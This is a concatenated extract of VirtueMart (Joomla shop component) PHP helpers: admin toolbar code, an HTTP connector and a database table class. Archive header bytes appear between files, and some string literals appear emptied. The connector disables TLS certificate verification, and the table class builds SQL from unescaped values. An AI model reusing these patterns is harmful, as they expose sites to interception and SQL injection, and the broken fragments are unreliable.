JRequest::getCmd('option','com_virtuemart' ); $hidden =''; if (array_key_exists('filter_order',$this->lists)) $hidden =' '; return $hidden.' '. JHTML::_( 'form.token' ); } static function getToolbar($vmView) { // add required stylesheets from admin template $document = JFactory::getDocument(); $document->addStyleSheet('administrator/templates/system/css/system.css'); //now we add the necessary stylesheets from the administrator template //in this case i make reference to the bluestork default administrator template in joomla 1.6 $document->addCustomTag( ''."\n\n". ''."\n". ''."\n" ); $html = '
'; $html .= ''; $html .= '
'; $html .= '
'; return $html; } /** * Additional grid function for custom toggles * * @return string HTML code to write the toggle button */ function toggle( $field, $i, $toggle, $imgY = 'tick.png', $imgX = 'publish_x.png', $prefix='' ) { $img = $field ? $imgY : $imgX; if ($toggle == 'published') { // Stay compatible with grid.published $task = $field ? 'unpublish' : 'publish'; $alt = $field ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $field ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); } else { $task = $field ? $toggle.'.0' : $toggle.'.1'; $alt = $field ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_DISABLED'); $action = $field ? JText::_('COM_VIRTUEMART_DISABLE_ITEM') : JText::_('COM_VIRTUEMART_ENABLE_ITEM'); } if (JVM_VERSION>1) { return ('' .JHTML::_('image', 'admin/' .$img, $alt, null, true) .''); } else { return ('' .''. $alt .''); } } function showhelp(){ /* http://docs.joomla.org/Help_system/Adding_a_help_button_to_the_toolbar */ $task=JRequest::getWord('task', ''); $view=JRequest::getWord('view', ''); if ($task) { if ($task=="add") { $task="edit"; } $task ="_".$task; } if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_help'); $lang = JFactory::getLanguage(); $key= 'COM_VIRTUEMART_HELP_'.$view.$task; if ($lang->hasKey($key)) { $help_url = JTEXT::_($key)."?tmpl=component"; $bar = JToolBar::getInstance('toolbar'); $bar->appendButton( 'Popup', 'help', 'JTOOLBAR_HELP', $help_url, 960, 500 ); } } function showACLPref(){ if ($this->canDo->get('core.admin')) { JToolBarHelper::divider(); $bar = JToolBar::getInstance('toolbar'); // Add a configuration button. $bar->appendButton('Popup', 'lock', 'JCONFIG_PERMISSIONS_LABEL', 'index.php?option=com_config&view=component&component=com_virtuemart&tmpl=component', 875, 550, 0, 0, ''); } } }PKB\ma),),helpers/connection.phpnuW+Adebug( 'Setting up proxy: '.$proxyURL['host'].':'.VM_PROXY_PORT ); //curl_setopt($CR, CURLOPT_HTTPPROXYTUNNEL, true); curl_setopt($CR, CURLOPT_PROXY, $proxyURL['host'] ); curl_setopt($CR, CURLOPT_PROXYPORT, VM_PROXY_PORT ); // Check if the proxy needs authentication if( trim( @VM_PROXY_USER ) != '') { // $vmLogger->debug( 'Using proxy authentication!' ); curl_setopt($CR, CURLOPT_PROXYUSERPWD, VM_PROXY_USER.':'.VM_PROXY_PASS ); } } if( $urlParts['scheme'] == 'https') { // No PEER certificate validation...as we don't have // a certificate file for it to authenticate the host www.ups.com against! curl_setopt($CR, CURLOPT_SSL_VERIFYPEER, 0); //curl_setopt($CR, CURLOPT_SSLCERT , "/usr/locale/xxxx/clientcertificate.pem"); } $result = curl_exec( $CR ); $error = curl_error( $CR ); if( !empty( $error ) && stristr( $error, '502') && !empty( $proxyURL )) { // $vmLogger->debug( 'Switching to NTLM authenticaton.'); curl_setopt( $CR, CURLOPT_PROXYAUTH, CURLAUTH_NTLM ); $result = curl_exec( $CR ); $error = curl_error( $CR ); } curl_close( $CR ); if( !empty( $error )) { //JError::raiseError(1, $error ); return false; } else { return $result; } } else { if( $postData ) { if( !empty( $proxyURL )) { // If we have something to post we need to write into a socket if( $proxyURL['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = 'http'; } $fp = fsockopen("$protocol://".$proxyURL['host'], VM_PROXY_PORT, $errno, $errstr, $timeout = 30); } else { // If we have something to post we need to write into a socket if( $urlParts['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = $urlParts['scheme']; } $fp = fsockopen("$protocol://".$urlParts['host'], $urlParts['port'], $errno, $errstr, $timeout = 30); } } else { if( !empty( $proxyURL )) { // Do a read-only fopen transaction $fp = fopen( $proxyURL['scheme'].'://'.$proxyURL['host'].':'.VM_PROXY_PORT, 'rb' ); } else { // Do a read-only fopen transaction $fp = fopen( $urlParts['scheme'].'://'.$urlParts['host'].':'.$urlParts['port'].$urlParts['path'], 'rb' ); } } if(!$fp) { //error tell us JError::raiseWarning(1, 'Possible server error! - '.$errstr .'('.$errno.')\n' ); return false; } else { //Would be interesting to set this only for debug // JError::raiseNotice(1, 'Connection opened to '.$urlParts['host']); } if( $postData ) { // $vmLogger->debug('Now posting the variables.' ); //send the server request if( !empty( $proxyURL )) { fputs($fp, "POST ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { fputs($fp, 'POST '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($postData)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $postData . "\r\n\r\n"); } else { if( !empty( $proxyURL )) { fputs($fp, "GET ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { // JError::raiseNotice(1, 'Host:'. $urlParts['host'].' path: '. $urlParts['path'] ); fputs($fp, 'GET '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } } // Add additional headers if provided foreach( $headers as $header ) { fputs($fp, $header."\r\n"); } $data = ""; while (!feof($fp)) { $data .= @fgets ($fp, 4096); } fclose( $fp ); // If didnt get content-lenght, something is wrong, return false. if ( trim($data) == '' ) { JError::raiseWarning(E_WARNING,'An error occured while communicating with the server '.$urlParts['host'].'. It didn\'t reply (correctly). Please try again later, thank you.' ); return false; } $result = trim( $data ); if( is_resource($fileToSaveData )) { fwrite($fileToSaveData, $result ); return true; } else { return $result; } } } /** * Set headers and send the file to the client * * @author Andreas Gohr * @param string The full path to the file * @param string The Mime Type of the file */ function sendFile($file,$mime, $overrideFileName='') { // send headers header("Content-Type: $mime"); list($start,$len) = VmConnector::http_rangeRequest(filesize($file)); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Accept-Ranges: bytes'); //application mime type is downloadable if(strtolower(substr($mime,0,11)) == 'application') { if( $overrideFileName == '') { $filename = basename($file); } else { $filename = $overrideFileName; } header('Content-Disposition: attachment; filename="'.$filename.'";'); } $chunksize = 1*(1024*1024); // send file contents $fp = @fopen($file,"rb"); if($fp) { fseek($fp,$start); //seek to start of range $chunk = ($len > $chunksize) ? $chunksize : $len; while (!feof($fp) && $chunk > 0) { @set_time_limit(); // large files can take a lot of time print fread($fp, $chunk); flush(); $len -= $chunk; $chunk = ($len > $chunksize) ? $chunksize : $len; } fclose($fp); }else { header("HTTP/1.0 500 Internal Server Error"); print "Could not read $file - bad permissions?"; JFactory::getApplication()->close(true); } } /** * Checks and sets headers to handle range requets * * @author Andreas Gohr * @return array The start byte and the amount of bytes to send * @param int The file size */ function http_rangeRequest($size, $exitOnError=true ) { if(!isset($_SERVER['HTTP_RANGE'])) { // no range requested - send the whole file header("Content-Length: $size"); return array(0,$size); } $t = explode('=', $_SERVER['HTTP_RANGE']); if (!$t[0]=='bytes') { // we only understand byte ranges - send the whole file header("Content-Length: $size"); return array(0,$size); } $r = explode('-', $t[1]); $start = (int)$r[0]; $end = (int)$r[1]; if (!$end) $end = $size - 1; if ($start > $end || $start > $size || $end > $size) { if( $exitOnError ) { header('HTTP/1.1 416 Requested Range Not Satisfiable'); print 'Bad Range Request!'; JFactory::getApplication()->close(true); } else { return array(0,$size); } } $tot = $end - $start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes {$start}-{$end}/{$size}"); header("Content-Length: $tot"); return array($start,$tot); } } // pure php no closing tagPKB\p55helpers/vmtable.phpnuW+A_tbl = $table; $this->_db =& $db; $this->_pkey = $key; if(JVM_VERSION<3){ $this->_tbl_key = $key; } else { // Set the key to be an array. if (is_string($key)){ $key = array($key); } elseif (is_object($key)){ $key = (array) $key; } $this->_tbl_keys = $key; if (count($key) == 1) { $this->_autoincrement = true; } else { $this->_autoincrement = false; } // Set the singular table key for backwards compatibility. $this->_tbl_key = $this->getKeyName(); } // If we are tracking assets, make sure an access field exists and initially set the default. if (property_exists($this, 'asset_id')){ $this->_trackAssets = true; } // If the access property exists, set the default. if (property_exists($this, 'access')){ $this->access = (int) JFactory::getConfig()->get('access'); } if(JVM_VERSION>2){ // Implement JObservableInterface: // Create observer updater and attaches all observers interested by $this class: $this->_observers = new JObserverUpdater($this); JObserverMapper::attachAllObservers($this); } } public function setPrimaryKey($key, $keyForm = 0) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->setObligatoryKeys('_pkey', $error); $this->_pkey = $key; $this->_pkeyForm = empty($keyForm) ? $key : $keyForm; $this->$key = 0; } public function getPKey(){ return $this->_pkey; } public function setObligatoryKeys($key) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->_obkeys[$key] = $error; } public function setUniqueName($name) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); $this->_unique = true; $this->_obkeys[$name] = $error; $this->_unique_name[$name] = $error; } public function setLoggable() { $this->_loggable = true; $this->created_on = false; $this->created_by = 0; $this->modified_on = ''; $this->modified_by = 0; } /** * * @author Patrick Kohl, * @author Max Milbers */ public function setTranslatable($langFields) { $this->_translatableFields = $langFields; $this->_translatableFields['slug'] = 'slug'; $this->_translatable = true; if (!class_exists('VmConfig')) require(JPATH_COMPONENT_ADMINISTRATOR .'helpers/config.php'); VmConfig::loadConfig(); $this->_langTag = VmConfig::$vmlang; $this->_tbl_lang = $this->_tbl . '_' . $this->_langTag; } public function getTranslatableFields() { return $this->_translatableFields; } public function setLockable() { $this->locked_on = ''; $this->locked_by = 0; } function setOrderable($key = 'ordering', $auto = true) { $this->_orderingKey = $key; $this->_orderable = 1; $this->_autoOrdering = $auto; $this->$key = 0; } function setSlug($slugAutoName, $key = 'slug') { // $this->_useSlug = true; $this->_slugAutoName = $slugAutoName; $this->_slugName = $key; $this->$key = ''; $this->setUniqueName($key); } var $_tablePreFix = ''; function setTableShortCut($prefix) { $this->_tablePreFix = $prefix . '.'; } public function emptyCache(){ self::$_cache = array(); } /** * This function defines a database field as parameter field, which means that some values get injected there * As delimiters are used | for the pair and = for key, value * * @author Max Milbers * @param string $paramsFieldName * @param string $varsToPushParam * @param boolean $overwrite */ function setParameterable($paramsFieldName, $varsToPushParam, $overwrite = false) { //if($this->_xParams===0) $this->_xParams = $paramsFieldName; if ($overwrite) { $this->_varsToPushParam = $varsToPushParam; } else { $this->_varsToPushParam = array_merge((array)$varsToPushParam, (array)$this->_varsToPushParam); } foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->$k)) $this->$k = $v[0]; } //vmdebug('setParameterable called '.$this->_xParams,$this->_varsToPushParam); } /** * This function must be * Takes the bounded values at obj of the field $xParams * and adds them as attributs of obj * @param $obj * @param $xParams * @param $varsToPushParam */ static function bindParameterable(&$obj, $xParams, $varsToPushParam) { if(empty($varsToPushParam)) return; //$paramFields = $obj->$xParams; //vmdebug('$obj->_xParams '.$xParams.' $varsToPushParam ',$varsToPushParam); if(is_object($obj)){ if (!empty($obj->$xParams)) { $params = explode('|', $obj->$xParams); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj->$key = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj->$xParams)){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj->$key)) { $obj->$key = $v[0]; } } } else { if (!empty($obj[$xParams])) { $params = explode('|', $obj[$xParams]); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj[$key] = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj[$xParams])){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj[$key])) { $obj[$key] = $v[0]; } } } } /** * Sets fields encrypted * @author Max Milbers * @param $fieldNames */ public function setCryptedFields($fieldNames){ if(!$fieldNames){ vmTrace('setEncrytped fields false not catched'); return; } if(!is_array($fieldNames)) $fieldNames = array($fieldNames); if(isset($fieldNames[$this->_pkey])){ unset($fieldNames[$this->_pkey]); } $this->_cryptedFields = $fieldNames; } /** * */ public function getCryptedFields(){ return $this->_cryptedFields; } /** * Gives Back the columns of the current table, sets the properties on the table. * * @author Max Milbers * @param int $typeKey use "Field" to get the effect of getTableColumns * @param int $typeValue use "Type" to get the effect of getTableColumns * @param bool $properties disable setting of columns as table properties */ public function showFullColumns($typeKey=0,$typeValue=0,$properties=true){ $hash = 'SFL'.$this->_tbl.$typeKey.$typeValue; if (!isset(self::$_cache[$hash])) { $this->_db->setQuery('SHOW FULL COLUMNS FROM `'.$this->_tbl.'` ') ; self::$_cache[$hash] = $this->_db->loadAssocList(); } if ($properties and count(self::$_cache[$hash]) > 0) { foreach (self::$_cache[$hash] as $key => $_f) { $_fieldlist[$_f['Field']] = $_f['Default']; } $this->setProperties($_fieldlist); } if ($typeKey or $typeValue){ foreach (self::$_cache[$hash] as $field){ if(empty($typeValue)){ $value = $field; } else { $value = $field[$typeValue]; } if($typeKey){ $result[$field[$typeKey]] = $value; } else { $result[] = $value; } } } else { $result = self::$_cache[$hash]; } return $result; } public function loadFields(){ return $this->showFullColumns(); } function loadFieldValues($array=true){ $tmp = get_object_vars($this); if($array){ $return = array(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return[$k] = $v; } } } else { $return = new stdClass(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return->$k = $v; } } } return $return; } function checkDataContainsTableFields($from, $ignore = array()) { if (empty($from)) return false; $fromArray = is_array($from); $fromObject = is_object($from); if (!$fromArray && !$fromObject) { vmError(get_class($this) . '::check if data contains table fields failed. Invalid from argument
' . print_r($from, 1) . '
'); return false; } if (!is_array($ignore)) { $ignore = explode(' ', $ignore); } foreach ($this->getProperties() as $k => $v) { // internal attributes of an object are ignored if (!in_array($k, $ignore)) { if ($fromArray && isset($from[$k])) { return true; } else if ($fromObject && isset($from->$k)) { return true; } } } vmdebug('VmTable developer notice, table ' . get_class($this) . ' means that there is no data to store. When you experience that something does not get stored as expected, please write in the forum.virtuemart.net'); return false; } /** * Function setting the loggable data hack procted * In case you want to override the value for administrators, just set the created_on to "0000-00-00 00:00:00" * * @author Max Milbers */ function setLoggableFieldsForStore() { if ($this->_loggable) { // set default values always used //We store in UTC time, dont touch it! $date = JFactory::getDate(); $today = $date->toSQL(); //vmdebug('my today ',$date); $user = JFactory::getUser(); $pkey = $this->_pkey; //Lets check if the user is admin or the mainvendor $admin = JFactory::getUser()->authorise('core.admin', 'com_virtuemart'); $adminSessionID = JFactory::getSession()->get('vmAdminID'); if ($admin || JFactory::getUser($adminSessionID)->authorise('core.admin', 'com_virtuemart')) { // vmdebug('setLoggableFieldsForStore ', $this->created_on); if (empty($this->$pkey) and empty($this->created_on)) { $this->created_on = $today; } else if (empty($this->created_on)) { //If nothing is there, dont update it unset($this->created_on); } else //ADDED BY P2 PETER if ($this->created_on == "0000-00-00 00:00:00") { $this->created_on = $today; $this->created_by = $user->id; } //END ADD if (empty($this->$pkey) and empty($this->created_by)) { $this->created_by = $user->id; } else if (empty($this->created_by)) { //If nothing is there, dont update it unset($this->created_by); } } else { if (empty($this->$pkey)) { $this->created_on = $today; $this->created_by = $user->id; } else { //If nothing is there, dont update it unset($this->created_on); unset($this->created_by); } } $this->modified_on = $today; $this->modified_by = $user->id; } if (isset($this->locked_on)) { //Check if user is allowed to store, then disable or prevent storing $this->locked_on = 0; } } /** * Technic to inject params as table attributes * @author Max Milbers * $TableJoins array of table names to add and left join to find ID */ function load($oid = null, $overWriteLoadName = 0, $andWhere = 0, $tableJoins = array(), $joinKey = 0) { if( $overWriteLoadName!==0 ){ $k = $overWriteLoadName; } else { $k = $this->_pkey; } if ($oid !== null) { $this->$k = $oid; } else { $oid = $this->$k; } if ($oid === null) { $oid = 0; } else if (empty($oid)) { if (!empty($this->_xParams)) { foreach ($this->_varsToPushParam as $key => $v) { if (!isset($this->$key)) { $this->$key = $v[0]; } } } return $this; } //Version load the tables using JOIN if ($this->_translatable) { $mainTable = $this->_tbl; $langTable = $this->_tbl . '_' . $this->_langTag; $select = 'SELECT `' . $mainTable . '`.* ,`' . $langTable . '`.* '; $from = ' FROM `' . $mainTable . '` INNER JOIN `' . $langTable . '` using (`' . $this->_tbl_key . '`)'; } else { $mainTable = $this->_tbl; $select = 'SELECT `' . $mainTable . '`.* '; $from = ' FROM `' . $mainTable . '` '; } if (count($tableJoins)) { if (!$joinKey) $joinKey = $this->_tbl_key; foreach ($tableJoins as $tableId => $table) { $select .= ',`' . $table . '`.`' . $tableId . '` '; $from .= ' LEFT JOIN `' . $table . '` on `' . $table . '`.`' . $joinKey . '`=`' . $mainTable . '`.`' . $joinKey . '`'; } } //the cast to int here destroyed the query for keys like virtuemart_userinfo_id, so no cast on $oid // $query = $select.$from.' WHERE '. $mainTable .'.`'.$this->_tbl_key.'` = "'.$oid.'"'; if ($andWhere === 0) $andWhere = ''; $query = $select . $from . ' WHERE `' . $mainTable . '`.`' . $k . '` = "' . $oid . '" ' . $andWhere; $hashVarsToPush = ''; if (!empty($this->_xParams)) { $hashVarsToPush = serialize($this->_varsToPushParam); } $hash = md5($oid. $select . $k . $andWhere . $hashVarsToPush); if (isset (self::$_cache['l'][$hash])) { //vmdebug('Resturn cached '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); $this->bind(self::$_cache['l'][$hash]); return $this; } else { //vmdebug('loading '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); } $db = $this->getDBO(); $db->setQuery($query); $result = $db->loadAssoc(); if ($result) { $this->bind($result); if (!empty($this->_xParams)) { //Maybe better to use for $this an & self::bindParameterable($this, $this->_xParams, $this->_varsToPushParam); } if (count($tableJoins)) { foreach ($tableJoins as $tableId => $table) { if (isset($result[$tableId])) $this->$tableId = $result[$tableId]; } } } else { $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla $defaultLang= strtolower(strtr($defaultLang,'-','_')); if($defaultLang!=$this->_langTag and Vmconfig::$langCount>1){ $this->_ltmp = $this->_langTag; $this->_langTag = $defaultLang; $this->load($oid, $overWriteLoadName, $andWhere, $tableJoins, $joinKey) ; } } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::decrypt($this->$field,$date); } } } } if($this->_ltmp){ $this->_langTag = $this->_ltmp; $this->_ltmp = false; } self::$_cache['l'][$hash] = $this->loadFieldValues(false); return $this; } /** * Technic to inject params as table attributes * @author Max Milbers */ function store($updateNulls = false) { $this->setLoggableFieldsForStore(); if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } vmdebug('my crytped fields in store '.get_class($this),$this->_cryptedFields); foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::encrypt($this->$field); } else { vmdebug('Store vmtable empty property for '.$field); } } } $this->storeParams(); return parent::store($updateNulls); } function storeParams() { if (!empty($this->_xParams)) { $paramFieldName = $this->_xParams; $this->$paramFieldName = ''; foreach ($this->_varsToPushParam as $key => $v) { if (isset($this->$key)) { $this->$paramFieldName .= $key . '=' . json_encode($this->$key) . '|'; } else { $this->$paramFieldName .= $key . '=' . json_encode($v[0]) . '|'; } unset($this->$key); } } return true; } function checkCreateUnique($tbl_name, $name) { $i = 0; while ($i < 20) { $tbl_key = $this->_tbl_key; $q = 'SELECT `' . $name . '` FROM `' . $tbl_name . '` WHERE `' . $name . '` = "' . $this->$name . '" AND `' . $this->_tbl_key . '`!=' . $this->$tbl_key; $this->_db->setQuery($q); $existingSlugName = $this->_db->loadResult(); if (!empty($existingSlugName)) { if($posNbr = strrpos($this->$name,'-')){ $existingNbr = substr($this->$name,$posNbr+1); if(is_numeric($existingNbr)){ $existingNbr++; if($i>10){ $existingNbr = $existingNbr + rand (1, 9); } $this->$name = substr($this->$name,0,$posNbr+1) . $existingNbr; } else{ $this->$name = $this->$name . '-1'; } } else { $this->$name = $this->$name . '-1'; } } else { return true; } $i++; } return false; } /** * @author Max Milbers * @param */ function check() { if (!empty($this->_slugAutoName)) { $slugAutoName = $this->_slugAutoName; $slugName = $this->_slugName; if (in_array($slugAutoName, $this->_translatableFields)) { $checkTable = $this->_tbl . '_' . VmConfig::$vmlang; } else { $checkTable = $this->_tbl; } if (empty($this->$slugName)) { // vmdebug('table check use _slugAutoName '.$slugAutoName.' '.$slugName); if (!empty($this->$slugAutoName)) { $this->$slugName = $this->$slugAutoName; } else { vmError('VmTable ' . $checkTable . ' Check not passed. Neither slug nor obligatory value at ' . $slugAutoName . ' for auto slug creation is given'); return false; } } //if (JVM_VERSION === 1) $this->$slugName = JFilterOutput::stringURLSafe($this->$slugName); //else $this->$slugName = JApplication::stringURLSafe($this->$slugName); //pro+#'!"§$%&/()=?duct-w-| ||cu|st|omfield-|str //vmdebug('my slugName '.$slugName,$this->$slugName); $this->$slugName = str_replace('-', ' ', $this->$slugName); //$config =& JFactory::getConfig(); //$transliterate = $config->get('unicodeslugs'); $unicodeslugs = VmConfig::get('transliterateSlugs',false); if($unicodeslugs){ $lang = JFactory::getLanguage(); $this->$slugName = $lang->transliterate($this->$slugName); } // Trim white spaces at beginning and end of alias and make lowercase $this->$slugName = trim(JString::strtolower($this->$slugName)); $this->$slugName = str_replace(array('`','´',"'"),'',$this->$slugName); $this->$slugName = vRequest::filterUword($this->$slugName,'-,_,.,|','-'); while(strpos($this->$slugName,'--')){ $this->$slugName = str_replace('--','-',$this->$slugName); } // Trim dashes at beginning and end of alias $this->$slugName = trim($this->$slugName, '-'); if($unicodeslugs)$this->$slugName = rawurlencode($this->$slugName); $valid = $this->checkCreateUnique($checkTable, $slugName); vmdebug('my Final slugName '.$slugName,$this->slugName); if (!$valid) { return false; } } foreach ($this->_obkeys as $obkeys => $error) { if (empty($this->$obkeys)) { if (empty($error)) { $error = 'Serious error cant save ' . $this->_tbl . ' without ' . $obkeys; } else { // $error = get_class($this).' '.vmText::_($error); $error = get_class($this) . ' ' . $error; } $this->setError($error); vmError($error); return false; } } if ($this->_unique) { if (empty($this->_db)) $this->_db = JFactory::getDBO(); foreach ($this->_unique_name as $obkeys => $error) { if (empty($this->$obkeys)) { // vmError(vmText::sprintf('COM_VIRTUEMART_NON_UNIQUE_KEY',$this->$obkeys)); $this->setError($error); vmError('Non unique ' . $this->_unique_name . ' ' . $error); return false; } else { $valid = $this->checkCreateUnique($this->_tbl, $obkeys); if (!$valid) { return false; } } } } if (isset($this->virtuemart_vendor_id)) { $multix = Vmconfig::get('multix', 'none'); //Lets check if the user is admin or the mainvendor $virtuemart_vendor_id = false; if ($multix == 'none' and get_class($this) !== 'TableVmusers') { $this->virtuemart_vendor_id = 1; return true; } else { $loggedVendorId = Permissions::getInstance()->isSuperVendor(); $user = JFactory::getUser(); $admin = $user->authorise('core.admin','com_virtuemart'); $tbl_key = $this->_tbl_key; $className = get_class($this); if (strpos($this->_tbl,'virtuemart_vmusers')===FALSE) { $q = 'SELECT `virtuemart_vendor_id` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $virtuemart_vendor_id = $this->_db->loadResult(); } else $virtuemart_vendor_id = self::$_cache[md5($q)]; } else { $q = 'SELECT `virtuemart_vendor_id`,`user_is_vendor` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $vmuser = $this->_db->loadRow(); } else $vmuser = self::$_cache[md5($q)]; if ($vmuser and count($vmuser) === 2) { $virtuemart_vendor_id = $vmuser[0]; $user_is_vendor = $vmuser[1]; if ($multix == 'none') { if (empty($user_is_vendor)) { $this->virtuemart_vendor_id = 0; } else { $this->virtuemart_vendor_id = 1; } return true; } else { if (!$admin) { $this->virtuemart_vendor_id = $loggedVendorId; return true; } } } else { //New User //vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl);//, Set to mainvendor '.$this->virtuemart_vendor_id } } if (!$admin and !empty($virtuemart_vendor_id) and !empty($loggedVendorId) and $loggedVendorId != $virtuemart_vendor_id) { //vmWarn('COM_VIRTUEMART_NOT_SAME_VENDOR',$loggedVendorId,$virtuemart_vendor_id //vmWarn('Stop try to hack this store, you got logged'); vmdebug('Hacking attempt stopped, logged vendor ' . $loggedVendorId . ' but data belongs to ' . $virtuemart_vendor_id); return false; } else if (!$admin) { if ($virtuemart_vendor_id) { $this->virtuemart_vendor_id = $virtuemart_vendor_id; vmdebug('Non admin is storing using loaded vendor_id'); } else { //No id is stored, even users are allowed to use for the storage and vendorId, no change } } else { //Admins are allowed to do anything. We just trhow some messages if (!empty($virtuemart_vendor_id) and $loggedVendorId != $virtuemart_vendor_id) { vmdebug('Admin with vendor id ' . $loggedVendorId . ' is using for storing vendor id ' . $this->virtuemart_vendor_id); } else if (empty($virtuemart_vendor_id)) { if(strpos($this->_tbl,'virtuemart_vendors')===FALSE and strpos($this->_tbl,'virtuemart_vmusers')===FALSE){ vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl); } } } } } return true; } /** * As shortcat, Important the & MUST be there, even in php5.3 * * @author Max Milbers * @param array/obj $data input data as assoc array or obj * @param boolean $preload You can preload the data here too preserve not updated data * @return array/obj $data the updated data */ public function bindChecknStore(&$data, $preload = false) { $tblKey = $this->_tbl_key; $ok = true; if ($this->_translatable) { if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); $db = JFactory::getDBO(); $langTable = new VmTableData($this->_tbl_lang, $tblKey, $db); $langTable->setPrimaryKey($tblKey); $langData = array(); $langObKeys = array(); $langUniqueKeys = array(); if (is_object($data)) { foreach ($this->_translatableFields as $name) { if (isset($data->$name)) { //We directly store language stuff "escaped" $langData[$name] = htmlentities($data->$name, ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data->$tblKey; } else { foreach ($this->_translatableFields as $name) { if (isset($data[$name])) { 